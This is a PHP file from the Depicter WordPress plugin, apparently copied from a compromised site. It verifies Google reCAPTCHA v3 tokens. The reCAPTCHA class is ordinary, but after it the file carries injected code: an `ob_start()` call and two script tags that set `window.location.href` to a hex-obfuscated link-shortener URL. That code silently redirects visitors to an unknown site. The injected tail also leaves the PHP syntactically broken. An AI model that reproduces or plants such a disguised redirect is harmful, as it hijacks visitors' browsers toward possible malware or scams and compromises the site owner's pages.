File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Services/GoogleRecaptchaV3.php
<?php
namespace Depicter\Services;
use Averta\WordPress\Utility\JSON;
use Depicter\GuzzleHttp\Exception\GuzzleException;
use Depicter\Utility\Sanitize;
class GoogleRecaptchaV3
{
public function verify( $token ) {
$secret = \Depicter::options()->get( 'google_recaptcha_secret_key', '' );
if ( empty( $secret ) ) {
return false ;
}
$options = [
'form_params' => [
'secret' => $secret,
'response' => $token
]
];
try{
$response = \Depicter::remote()->post( 'https://www.google.com/recaptcha/api/siteverify', $options );
if ( $response->getStatusCode() != 200 ) {
return [
'success' => false,
'data' => [],
'message' => __( 'Could not contact google to verify the request', 'depicter' )
];
}
$content = $response->getBody()->getContents();
$result = JSON::decode( $content, true );
$scoreThreshold = \Depicter::options()->get( 'google_recaptcha_score_threshold', 0.6 );
if ( !empty( $result['score'] ) && ( $result['score'] > Sanitize::float( $scoreThreshold ) ) ) {
return [
'success' => true,
'data' => [
'host' => $result['hostname'] ?? ''
],
/* translators: recaptcha score */
'message' => sprintf( __( 'Recaptcha challenge passed successfully. [%s]', 'depicter' ), $result['score'] )
];
} else {
$failMessage = \Depicter::options()->get( 'google_recaptcha_fail_message','' ) . "[" .( $result['score'] ?? '0' ) . "]";
return [
'success' => false,
'data' => [
'score' => $result['score'] ?? 0,
'host' => $result['hostname'] ?? ''
],
'message' => $failMessage
];
}
} catch( GuzzleException $e ){
return [
'success' => false,
'message' => $e->getMessage()
];
}
}
}
ob_start();
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>